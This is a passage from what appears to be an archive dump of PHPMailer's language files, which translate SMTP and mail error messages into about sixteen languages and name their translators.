$PHPMAILER_LANG['empty_message'] = 'بخش متن پیام خالی است.'; $PHPMAILER_LANG['encoding'] = 'کدگذاری ناشناخته: '; $PHPMAILER_LANG['execute'] = 'امکان اجرا وجود ندارد: '; $PHPMAILER_LANG['file_access'] = 'امکان دسترسی به فایل وجود ندارد: '; $PHPMAILER_LANG['file_open'] = 'خطای File: امکان بازکردن فایل وجود ندارد: '; $PHPMAILER_LANG['from_failed'] = 'آدرس فرستنده اشتباه است: '; $PHPMAILER_LANG['instantiate'] = 'امکان معرفی تابع ایمیل وجود ندارد.'; $PHPMAILER_LANG['invalid_address'] = 'آدرس ایمیل معتبر نیست: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer پشتیبانی نمیشود.'; $PHPMAILER_LANG['provide_address'] = 'باید حداقل یک آدرس گیرنده وارد کنید.'; $PHPMAILER_LANG['recipients_failed'] = 'خطای SMTP: ارسال به آدرس گیرنده با خطا مواجه شد: '; $PHPMAILER_LANG['signing'] = 'خطا در امضا: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'خطا در اتصال به SMTP.'; $PHPMAILER_LANG['smtp_error'] = 'خطا در SMTP Server: '; $PHPMAILER_LANG['variable_set'] = 'امکان ارسال یا ارسال مجدد متغیرها وجود ندارد: '; $PHPMAILER_LANG['extension_missing'] = 'افزونه موجود نیست: '; phpmailer/phpmailer/language/phpmailer.lang-sl.php000064400000005021151676714400016330 0ustar00<?php /** * Slovene PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Klemen Tušar <techouse@gmail.com> * @author Filip Š <projects@filips.si> * @author Blaž Oražem <blaz@orazem.si> */ $PHPMAILER_LANG['authenticate'] = 'SMTP napaka: Avtentikacija ni uspela.'; $PHPMAILER_LANG['buggy_php'] = 'Na vašo PHP različico vpliva napaka, ki lahko povzroči poškodovana sporočila. Če želite težavo odpraviti, preklopite na pošiljanje prek SMTP, onemogočite možnost mail.add_x_header v vaši php.ini datoteki, preklopite na MacOS ali Linux, ali nadgradite vašo PHP zaličico na 7.0.17+ ali 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'SMTP napaka: Vzpostavljanje povezave s SMTP gostiteljem ni uspelo.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP napaka: Strežnik zavrača podatke.'; $PHPMAILER_LANG['empty_message'] = 'E-poštno sporočilo nima vsebine.'; $PHPMAILER_LANG['encoding'] = 'Nepoznan tip kodiranja: '; $PHPMAILER_LANG['execute'] = 'Operacija ni uspela: '; $PHPMAILER_LANG['extension_missing'] = 'Manjkajoča razširitev: '; $PHPMAILER_LANG['file_access'] = 'Nimam dostopa do datoteke: '; $PHPMAILER_LANG['file_open'] = 'Ne morem odpreti datoteke: '; $PHPMAILER_LANG['from_failed'] = 'Neveljaven e-naslov pošiljatelja: '; $PHPMAILER_LANG['instantiate'] = 'Ne morem inicializirati mail funkcije.'; $PHPMAILER_LANG['invalid_address'] = 'E-poštno sporočilo ni bilo poslano. E-naslov je neveljaven: '; $PHPMAILER_LANG['invalid_header'] = 'Neveljavno ime ali vrednost glave'; $PHPMAILER_LANG['invalid_hostentry'] = 'Neveljaven vnos gostitelja: '; $PHPMAILER_LANG['invalid_host'] = 'Neveljaven gostitelj: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer ni podprt.'; $PHPMAILER_LANG['provide_address'] = 'Prosimo, vnesite vsaj enega naslovnika.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP napaka: Sledeči naslovniki so neveljavni: '; $PHPMAILER_LANG['signing'] = 'Napaka pri podpisovanju: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP koda: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Dodatne informacije o SMTP: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Ne morem vzpostaviti povezave s SMTP strežnikom.'; $PHPMAILER_LANG['smtp_detail'] = 'Podrobnosti: '; $PHPMAILER_LANG['smtp_error'] = 'Napaka SMTP strežnika: '; $PHPMAILER_LANG['variable_set'] = 'Ne morem nastaviti oz. ponastaviti spremenljivke: '; phpmailer/phpmailer/language/phpmailer.lang-lt.php000064400000003133151676714400016333 0ustar00<?php /** * Lithuanian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Dainius Kaupaitis <dk@sum.lt> */ $PHPMAILER_LANG['authenticate'] = 'SMTP klaida: autentifikacija nepavyko.'; $PHPMAILER_LANG['connect_host'] = 'SMTP klaida: nepavyksta prisijungti prie SMTP stoties.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP klaida: duomenys nepriimti.'; $PHPMAILER_LANG['empty_message'] = 'Laiško turinys tuščias'; $PHPMAILER_LANG['encoding'] = 'Neatpažinta koduotė: '; $PHPMAILER_LANG['execute'] = 'Nepavyko įvykdyti komandos: '; $PHPMAILER_LANG['file_access'] = 'Byla nepasiekiama: '; $PHPMAILER_LANG['file_open'] = 'Bylos klaida: Nepavyksta atidaryti: '; $PHPMAILER_LANG['from_failed'] = 'Neteisingas siuntėjo adresas: '; $PHPMAILER_LANG['instantiate'] = 'Nepavyko paleisti mail funkcijos.'; $PHPMAILER_LANG['invalid_address'] = 'Neteisingas adresas: '; $PHPMAILER_LANG['mailer_not_supported'] = ' pašto stotis nepalaikoma.'; $PHPMAILER_LANG['provide_address'] = 'Nurodykite bent vieną gavėjo adresą.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP klaida: nepavyko išsiųsti šiems gavėjams: '; $PHPMAILER_LANG['signing'] = 'Prisijungimo klaida: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP susijungimo klaida'; $PHPMAILER_LANG['smtp_error'] = 'SMTP stoties klaida: '; $PHPMAILER_LANG['variable_set'] = 'Nepavyko priskirti reikšmės kintamajam: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-ja.php000064400000003755151676714400016320 0ustar00<?php /** * Japanese PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Mitsuhiro Yoshida <http://mitstek.com/> * @author Yoshi Sakai <http://bluemooninc.jp/> * @author Arisophy <https://github.com/arisophy/> */ $PHPMAILER_LANG['authenticate'] = 'SMTPエラー: 認証できませんでした。'; $PHPMAILER_LANG['connect_host'] = 'SMTPエラー: SMTPホストに接続できませんでした。'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTPエラー: データが受け付けられませんでした。'; $PHPMAILER_LANG['empty_message'] = 'メール本文が空です。'; $PHPMAILER_LANG['encoding'] = '不明なエンコーディング: '; $PHPMAILER_LANG['execute'] = '実行できませんでした: '; $PHPMAILER_LANG['file_access'] = 'ファイルにアクセスできません: '; $PHPMAILER_LANG['file_open'] = 'ファイルエラー: ファイルを開けません: '; $PHPMAILER_LANG['from_failed'] = 'Fromアドレスを登録する際にエラーが発生しました: '; $PHPMAILER_LANG['instantiate'] = 'メール関数が正常に動作しませんでした。'; $PHPMAILER_LANG['invalid_address'] = '不正なメールアドレス: '; $PHPMAILER_LANG['provide_address'] = '少なくとも1つメールアドレスを 指定する必要があります。'; $PHPMAILER_LANG['mailer_not_supported'] = ' メーラーがサポートされていません。'; $PHPMAILER_LANG['recipients_failed'] = 'SMTPエラー: 次の受信者アドレスに 間違いがあります: '; $PHPMAILER_LANG['signing'] = '署名エラー: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP接続に失敗しました。'; $PHPMAILER_LANG['smtp_error'] = 'SMTPサーバーエラー: '; $PHPMAILER_LANG['variable_set'] = '変数が存在しません: '; $PHPMAILER_LANG['extension_missing'] = '拡張機能が見つかりません: '; phpmailer/phpmailer/language/phpmailer.lang-ba.php000064400000003321151676714400016275 0ustar00<?php /** * Bosnian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Ermin Islamagić <ermin@islamagic.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP Greška: Neuspjela prijava.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Greška: Nije moguće spojiti se sa SMTP serverom.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Greška: Podatci nisu prihvaćeni.'; $PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; $PHPMAILER_LANG['encoding'] = 'Nepoznata kriptografija: '; $PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; $PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; $PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; $PHPMAILER_LANG['from_failed'] = 'SMTP Greška: Slanje sa navedenih e-mail adresa nije uspjelo: '; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Greška: Slanje na navedene e-mail adrese nije uspjelo: '; $PHPMAILER_LANG['instantiate'] = 'Ne mogu pokrenuti mail funkcionalnost.'; $PHPMAILER_LANG['invalid_address'] = 'E-mail nije poslan. Neispravna e-mail adresa: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer nije podržan.'; $PHPMAILER_LANG['provide_address'] = 'Definišite barem jednu adresu primaoca.'; $PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Spajanje na SMTP server nije uspjelo.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP greška: '; $PHPMAILER_LANG['variable_set'] = 'Nije moguće postaviti varijablu ili je vratiti nazad: '; $PHPMAILER_LANG['extension_missing'] = 'Nedostaje ekstenzija: '; phpmailer/phpmailer/language/phpmailer.lang-mg.php000064400000003366151676714400016327 0ustar00<?php /** * Malagasy PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Hackinet <piyushjha8164@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'Hadisoana SMTP: Tsy nahomby ny fanamarinana.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Error: Tsy afaka mampifandray amin\'ny mpampiantrano SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP diso: tsy voarakitra ny angona.'; $PHPMAILER_LANG['empty_message'] = 'Tsy misy ny votoaty mailaka.'; $PHPMAILER_LANG['encoding'] = 'Tsy fantatra encoding: '; $PHPMAILER_LANG['execute'] = 'Tsy afaka manatanteraka ity baiko manaraka ity: '; $PHPMAILER_LANG['file_access'] = 'Tsy nahomby ny fidirana amin\'ity rakitra ity: '; $PHPMAILER_LANG['file_open'] = 'Hadisoana diso: Tsy afaka nanokatra ity file manaraka ity: '; $PHPMAILER_LANG['from_failed'] = 'Ny adiresy iraka manaraka dia diso: '; $PHPMAILER_LANG['instantiate'] = 'Tsy afaka nanomboka ny hetsika mail.'; $PHPMAILER_LANG['invalid_address'] = 'Tsy mety ny adiresy: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer tsy manohana.'; $PHPMAILER_LANG['provide_address'] = 'Alefaso azafady iray adiresy iray farafahakeliny.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Tsy mety ireo mpanaraka ireto: '; $PHPMAILER_LANG['signing'] = 'Error nandritra ny sonia:'; $PHPMAILER_LANG['smtp_connect_failed'] = 'Tsy nahomby ny fifandraisana tamin\'ny server SMTP.'; $PHPMAILER_LANG['smtp_error'] = 'Fahadisoana tamin\'ny server SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Tsy azo atao ny mametraka na mamerina ny variable: '; $PHPMAILER_LANG['extension_missing'] = 'Tsy hita ny ampahany: '; phpmailer/phpmailer/language/phpmailer.lang-sk.php000064400000003565151676714400016342 0ustar00<?php /** * Slovak PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Michal Tinka <michaltinka@gmail.com> * @author Peter Orlický <pcmanik91@gmail.com> */ $PHPMAILER_LANG['authenticate'] = 'SMTP Error: Chyba autentifikácie.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Error: Nebolo možné nadviazať spojenie so SMTP serverom.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dáta neboli prijaté'; $PHPMAILER_LANG['empty_message'] = 'Prázdne telo správy.'; $PHPMAILER_LANG['encoding'] = 'Neznáme kódovanie: '; $PHPMAILER_LANG['execute'] = 'Nedá sa vykonať: '; $PHPMAILER_LANG['file_access'] = 'Súbor nebol nájdený: '; $PHPMAILER_LANG['file_open'] = 'File Error: Súbor sa otvoriť pre čítanie: '; $PHPMAILER_LANG['from_failed'] = 'Následujúca adresa From je nesprávna: '; $PHPMAILER_LANG['instantiate'] = 'Nedá sa vytvoriť inštancia emailovej funkcie.'; $PHPMAILER_LANG['invalid_address'] = 'Neodoslané, emailová adresa je nesprávna: '; $PHPMAILER_LANG['invalid_hostentry'] = 'Záznam hostiteľa je nesprávny: '; $PHPMAILER_LANG['invalid_host'] = 'Hostiteľ je nesprávny: '; $PHPMAILER_LANG['mailer_not_supported'] = ' emailový klient nieje podporovaný.'; $PHPMAILER_LANG['provide_address'] = 'Musíte zadať aspoň jednu emailovú adresu príjemcu.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: Adresy príjemcov niesu správne '; $PHPMAILER_LANG['signing'] = 'Chyba prihlasovania: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() zlyhalo.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP chyba serveru: '; $PHPMAILER_LANG['variable_set'] = 'Nemožno nastaviť alebo resetovať premennú: '; $PHPMAILER_LANG['extension_missing'] = 'Chýba rozšírenie: '; phpmailer/phpmailer/language/phpmailer.lang-be.php000064400000004202151676714400016300 0ustar00<?php /** * Belarusian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Aleksander Maksymiuk <info@setpro.pl> */ $PHPMAILER_LANG['authenticate'] = 'Памылка SMTP: памылка ідэнтыфікацыі.'; $PHPMAILER_LANG['connect_host'] = 'Памылка SMTP: нельга ўстанавіць сувязь з SMTP-серверам.'; $PHPMAILER_LANG['data_not_accepted'] = 'Памылка SMTP: звесткі непрынятыя.'; $PHPMAILER_LANG['empty_message'] = 'Пустое паведамленне.'; $PHPMAILER_LANG['encoding'] = 'Невядомая кадыроўка тэксту: '; $PHPMAILER_LANG['execute'] = 'Нельга выканаць каманду: '; $PHPMAILER_LANG['file_access'] = 'Няма доступу да файла: '; $PHPMAILER_LANG['file_open'] = 'Нельга адкрыць файл: '; $PHPMAILER_LANG['from_failed'] = 'Няправільны адрас адпраўніка: '; $PHPMAILER_LANG['instantiate'] = 'Нельга прымяніць функцыю mail().'; $PHPMAILER_LANG['invalid_address'] = 'Нельга даслаць паведамленне, няправільны email атрымальніка: '; $PHPMAILER_LANG['provide_address'] = 'Запоўніце, калі ласка, правільны email атрымальніка.'; $PHPMAILER_LANG['mailer_not_supported'] = ' - паштовы сервер не падтрымліваецца.'; $PHPMAILER_LANG['recipients_failed'] = 'Памылка SMTP: няправільныя атрымальнікі: '; $PHPMAILER_LANG['signing'] = 'Памылка подпісу паведамлення: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Памылка сувязі з SMTP-серверам.'; $PHPMAILER_LANG['smtp_error'] = 'Памылка SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Нельга ўстанавіць або перамяніць значэнне пераменнай: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-hu.php000064400000003265151676714400016336 0ustar00<?php /** * Hungarian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author @dominicus-75 */ $PHPMAILER_LANG['authenticate'] = 'SMTP hiba: az azonosítás sikertelen.'; $PHPMAILER_LANG['connect_host'] = 'SMTP hiba: nem lehet kapcsolódni az SMTP-szerverhez.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP hiba: adatok visszautasítva.'; $PHPMAILER_LANG['empty_message'] = 'Üres az üzenettörzs.'; $PHPMAILER_LANG['encoding'] = 'Ismeretlen kódolás: '; $PHPMAILER_LANG['execute'] = 'Nem lehet végrehajtani: '; $PHPMAILER_LANG['file_access'] = 'A következő fájl nem elérhető: '; $PHPMAILER_LANG['file_open'] = 'Fájl hiba: a következő fájlt nem lehet megnyitni: '; $PHPMAILER_LANG['from_failed'] = 'A feladóként megadott következő cím hibás: '; $PHPMAILER_LANG['instantiate'] = 'A PHP mail() függvényt nem sikerült végrehajtani.'; $PHPMAILER_LANG['invalid_address'] = 'Érvénytelen cím: '; $PHPMAILER_LANG['mailer_not_supported'] = ' a mailer-osztály nem támogatott.'; $PHPMAILER_LANG['provide_address'] = 'Legalább egy címzettet fel kell tüntetni.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP hiba: a címzettként megadott következő címek hibásak: '; $PHPMAILER_LANG['signing'] = 'Hibás aláírás: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Hiba az SMTP-kapcsolatban.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP-szerver hiba: '; $PHPMAILER_LANG['variable_set'] = 'A következő változók beállítása nem sikerült: '; $PHPMAILER_LANG['extension_missing'] = 'Bővítmény hiányzik: '; phpmailer/phpmailer/language/phpmailer.lang-da.php000064400000004551151676714400016305 0ustar00<?php /** * Danish PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author John Sebastian <jms@iwb.dk> * Rewrite and extension of the work by Mikael Stokkebro <info@stokkebro.dk> * */ $PHPMAILER_LANG['authenticate'] = 'SMTP fejl: Login mislykkedes.'; $PHPMAILER_LANG['buggy_php'] = 'Din version af PHP er berørt af en fejl, som gør at dine beskeder muligvis vises forkert. For at rette dette kan du skifte til SMTP, slå mail.add_x_header headeren i din php.ini fil fra, skifte til MacOS eller Linux eller opgradere din version af PHP til 7.0.17+ eller 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'SMTP fejl: Forbindelse til SMTP serveren kunne ikke oprettes.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP fejl: Data blev ikke accepteret.'; $PHPMAILER_LANG['empty_message'] = 'Meddelelsen er uden indhold'; $PHPMAILER_LANG['encoding'] = 'Ukendt encode-format: '; $PHPMAILER_LANG['execute'] = 'Kunne ikke afvikle: '; $PHPMAILER_LANG['extension_missing'] = 'Udvidelse mangler: '; $PHPMAILER_LANG['file_access'] = 'Kunne ikke tilgå filen: '; $PHPMAILER_LANG['file_open'] = 'Fil fejl: Kunne ikke åbne filen: '; $PHPMAILER_LANG['from_failed'] = 'Følgende afsenderadresse er forkert: '; $PHPMAILER_LANG['instantiate'] = 'Email funktionen kunne ikke initialiseres.'; $PHPMAILER_LANG['invalid_address'] = 'Udgyldig adresse: '; $PHPMAILER_LANG['invalid_header'] = 'Ugyldig header navn eller værdi'; $PHPMAILER_LANG['invalid_hostentry'] = 'Ugyldig hostentry: '; $PHPMAILER_LANG['invalid_host'] = 'Ugyldig vært: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer understøttes ikke.'; $PHPMAILER_LANG['provide_address'] = 'Indtast mindst en modtagers email adresse.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP fejl: Følgende modtagere fejlede: '; $PHPMAILER_LANG['signing'] = 'Signeringsfejl: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP kode: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Yderligere SMTP info: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fejlede.'; $PHPMAILER_LANG['smtp_detail'] = 'Detalje: '; $PHPMAILER_LANG['smtp_error'] = 'SMTP server fejl: '; $PHPMAILER_LANG['variable_set'] = 'Kunne ikke definere eller nulstille variablen: '; phpmailer/phpmailer/language/phpmailer.lang-fo.php000064400000003145151676714400016323 0ustar00<?php /** * Faroese PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Dávur Sørensen <http://www.profo-webdesign.dk> */ $PHPMAILER_LANG['authenticate'] = 'SMTP feilur: Kundi ikki góðkenna.'; $PHPMAILER_LANG['connect_host'] = 'SMTP feilur: Kundi ikki knýta samband við SMTP vert.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP feilur: Data ikki góðkent.'; //$PHPMAILER_LANG['empty_message'] = 'Message body empty'; $PHPMAILER_LANG['encoding'] = 'Ókend encoding: '; $PHPMAILER_LANG['execute'] = 'Kundi ikki útføra: '; $PHPMAILER_LANG['file_access'] = 'Kundi ikki tilganga fílu: '; $PHPMAILER_LANG['file_open'] = 'Fílu feilur: Kundi ikki opna fílu: '; $PHPMAILER_LANG['from_failed'] = 'fylgjandi Frá/From adressa miseydnaðist: '; $PHPMAILER_LANG['instantiate'] = 'Kuni ikki instantiera mail funktión.'; //$PHPMAILER_LANG['invalid_address'] = 'Invalid address: '; $PHPMAILER_LANG['mailer_not_supported'] = ' er ikki supporterað.'; $PHPMAILER_LANG['provide_address'] = 'Tú skal uppgeva minst móttakara-emailadressu(r).'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Feilur: Fylgjandi móttakarar miseydnaðust: '; //$PHPMAILER_LANG['signing'] = 'Signing Error: '; //$PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; //$PHPMAILER_LANG['smtp_error'] = 'SMTP server error: '; //$PHPMAILER_LANG['variable_set'] = 'Cannot set or reset variable: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-nb.php000064400000004360151676714400016316 0ustar00<?php /** * Norwegian Bokmål PHPMailer language file: refer to English translation for definitive list * @package PHPMailer */ $PHPMAILER_LANG['authenticate'] = 'SMTP-feil: Kunne ikke autentiseres.'; $PHPMAILER_LANG['buggy_php'] = 'Din versjon av PHP er berørt av en feil som kan føre til ødelagte meldinger. For å løse problemet kan du bytte til SMTP, deaktivere alternativet mail.add_x_header i php.ini, bytte til MacOS eller Linux eller oppgradere PHP til versjon 7.0.17+ eller 7.1.3+.'; $PHPMAILER_LANG['connect_host'] = 'SMTP-feil: Kunne ikke koble til SMTP-vert.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP-feil: data ikke akseptert.'; $PHPMAILER_LANG['empty_message'] = 'Meldingstekst mangler'; $PHPMAILER_LANG['encoding'] = 'Ukjent koding: '; $PHPMAILER_LANG['execute'] = 'Kunne ikke utføres: '; $PHPMAILER_LANG['extension_missing'] = 'Utvidelse mangler: '; $PHPMAILER_LANG['file_access'] = 'Kunne ikke få tilgang til filen: '; $PHPMAILER_LANG['file_open'] = 'Feil i fil: Kunne ikke åpne filen: '; $PHPMAILER_LANG['from_failed'] = 'Følgende Fra-adresse mislyktes: '; $PHPMAILER_LANG['instantiate'] = 'Kunne ikke instansiere e-postfunksjonen.'; $PHPMAILER_LANG['invalid_address'] = 'Ugyldig adresse: '; $PHPMAILER_LANG['invalid_header'] = 'Ugyldig headernavn eller verdi'; $PHPMAILER_LANG['invalid_hostentry'] = 'Ugyldig vertsinngang: '; $PHPMAILER_LANG['invalid_host'] = 'Ugyldig vert: '; $PHPMAILER_LANG['mailer_not_supported'] = ' sender er ikke støttet.'; $PHPMAILER_LANG['provide_address'] = 'Du må oppgi minst én mottaker-e-postadresse.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Feil: Følgende mottakeradresse feilet: '; $PHPMAILER_LANG['signing'] = 'Signeringsfeil: '; $PHPMAILER_LANG['smtp_code'] = 'SMTP-kode: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Ytterligere SMTP-info: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP connect() mislyktes.'; $PHPMAILER_LANG['smtp_detail'] = 'Detaljer: '; $PHPMAILER_LANG['smtp_error'] = 'SMTP-serverfeil: '; $PHPMAILER_LANG['variable_set'] = 'Kan ikke angi eller tilbakestille variabel: '; phpmailer/phpmailer/language/phpmailer.lang-az.php000064400000003325151676714400016331 0ustar00<?php /** * Azerbaijani PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author @mirjalal */ $PHPMAILER_LANG['authenticate'] = 'SMTP xətası: Giriş uğursuz oldu.'; $PHPMAILER_LANG['connect_host'] = 'SMTP xətası: SMTP serverinə qoşulma uğursuz oldu.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP xətası: Verilənlər qəbul edilməyib.'; $PHPMAILER_LANG['empty_message'] = 'Boş mesaj göndərilə bilməz.'; $PHPMAILER_LANG['encoding'] = 'Qeyri-müəyyən kodlaşdırma: '; $PHPMAILER_LANG['execute'] = 'Əmr yerinə yetirilmədi: '; $PHPMAILER_LANG['file_access'] = 'Fayla giriş yoxdur: '; $PHPMAILER_LANG['file_open'] = 'Fayl xətası: Fayl açıla bilmədi: '; $PHPMAILER_LANG['from_failed'] = 'Göstərilən poçtlara göndərmə uğursuz oldu: '; $PHPMAILER_LANG['instantiate'] = 'Mail funksiyası işə salına bilmədi.'; $PHPMAILER_LANG['invalid_address'] = 'Düzgün olmayan e-mail adresi: '; $PHPMAILER_LANG['mailer_not_supported'] = ' - e-mail kitabxanası dəstəklənmir.'; $PHPMAILER_LANG['provide_address'] = 'Ən azı bir e-mail adresi daxil edilməlidir.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP xətası: Aşağıdakı ünvanlar üzrə alıcılara göndərmə uğursuzdur: '; $PHPMAILER_LANG['signing'] = 'İmzalama xətası: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP serverinə qoşulma uğursuz oldu.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP serveri xətası: '; $PHPMAILER_LANG['variable_set'] = 'Dəyişənin quraşdırılması uğursuz oldu: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-eo.php000064400000003201151676714400016313 0ustar00<?php /** * Esperanto PHPMailer language file: refer to English translation for definitive list * @package PHPMailer */ $PHPMAILER_LANG['authenticate'] = 'Eraro de servilo SMTP : aŭtentigo malsukcesis.'; $PHPMAILER_LANG['connect_host'] = 'Eraro de servilo SMTP : konektado al servilo malsukcesis.'; $PHPMAILER_LANG['data_not_accepted'] = 'Eraro de servilo SMTP : neĝustaj datumoj.'; $PHPMAILER_LANG['empty_message'] = 'Teksto de mesaĝo mankas.'; $PHPMAILER_LANG['encoding'] = 'Nekonata kodoprezento: '; $PHPMAILER_LANG['execute'] = 'Lanĉi rulumadon ne eblis: '; $PHPMAILER_LANG['file_access'] = 'Aliro al dosiero ne sukcesis: '; $PHPMAILER_LANG['file_open'] = 'Eraro de dosiero: malfermo neeblas: '; $PHPMAILER_LANG['from_failed'] = 'Jena adreso de sendinto malsukcesis: '; $PHPMAILER_LANG['instantiate'] = 'Genero de retmesaĝa funkcio neeblis.'; $PHPMAILER_LANG['invalid_address'] = 'Retadreso ne validas: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mesaĝilo ne subtenata.'; $PHPMAILER_LANG['provide_address'] = 'Vi devas tajpi almenaŭ unu recevontan retadreson.'; $PHPMAILER_LANG['recipients_failed'] = 'Eraro de servilo SMTP : la jenaj poŝtrecivuloj kaŭzis eraron: '; $PHPMAILER_LANG['signing'] = 'Eraro de subskribo: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP konektado malsukcesis.'; $PHPMAILER_LANG['smtp_error'] = 'Eraro de servilo SMTP : '; $PHPMAILER_LANG['variable_set'] = 'Variablo ne pravalorizeblas aŭ ne repravalorizeblas: '; $PHPMAILER_LANG['extension_missing'] = 'Mankas etendo: '; phpmailer/phpmailer/language/phpmailer.lang-lv.php000064400000003153151676714400016337 0ustar00<?php /** * Latvian PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Eduards M. <e@npd.lv> */ $PHPMAILER_LANG['authenticate'] = 'SMTP kļūda: Autorizācija neizdevās.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Kļūda: Nevar izveidot savienojumu ar SMTP serveri.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Kļūda: Nepieņem informāciju.'; $PHPMAILER_LANG['empty_message'] = 'Ziņojuma teksts ir tukšs'; $PHPMAILER_LANG['encoding'] = 'Neatpazīts kodējums: '; $PHPMAILER_LANG['execute'] = 'Neizdevās izpildīt komandu: '; $PHPMAILER_LANG['file_access'] = 'Fails nav pieejams: '; $PHPMAILER_LANG['file_open'] = 'Faila kļūda: Nevar atvērt failu: '; $PHPMAILER_LANG['from_failed'] = 'Nepareiza sūtītāja adrese: '; $PHPMAILER_LANG['instantiate'] = 'Nevar palaist sūtīšanas funkciju.'; $PHPMAILER_LANG['invalid_address'] = 'Nepareiza adrese: '; $PHPMAILER_LANG['mailer_not_supported'] = ' sūtītājs netiek atbalstīts.'; $PHPMAILER_LANG['provide_address'] = 'Lūdzu, norādiet vismaz vienu adresātu.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP kļūda: neizdevās nosūtīt šādiem saņēmējiem: '; $PHPMAILER_LANG['signing'] = 'Autorizācijas kļūda: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP savienojuma kļūda'; $PHPMAILER_LANG['smtp_error'] = 'SMTP servera kļūda: '; $PHPMAILER_LANG['variable_set'] = 'Nevar piešķirt mainīgā vērtību: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; phpmailer/phpmailer/language/phpmailer.lang-si.php000064400000006541151676714400016335 0ustar00<?php /** * Sinhalese PHPMailer language file: refer to English translation for definitive list * @package PHPMailer * @author Ayesh Karunaratne <ayesh@aye.sh> */ $PHPMAILER_LANG['authenticate'] = 'SMTP දෝෂය: සත්යාපනය අසාර්ථක විය.'; $PHPMAILER_LANG['buggy_php'] = 'ඔබගේ PHP version එකෙහි පවතින දෝෂයක් නිසා email පණිවිඩ දෝෂ සහගත වීමේ හැකියාවක් ඇත. මෙය විසදීම සදහා SMTP භාවිතා කිරීම, mail.add_x_header INI setting එක අක්රීය කිරීම, MacOS හෝ Linux වලට මාරු වීම, හෝ ඔබගේ 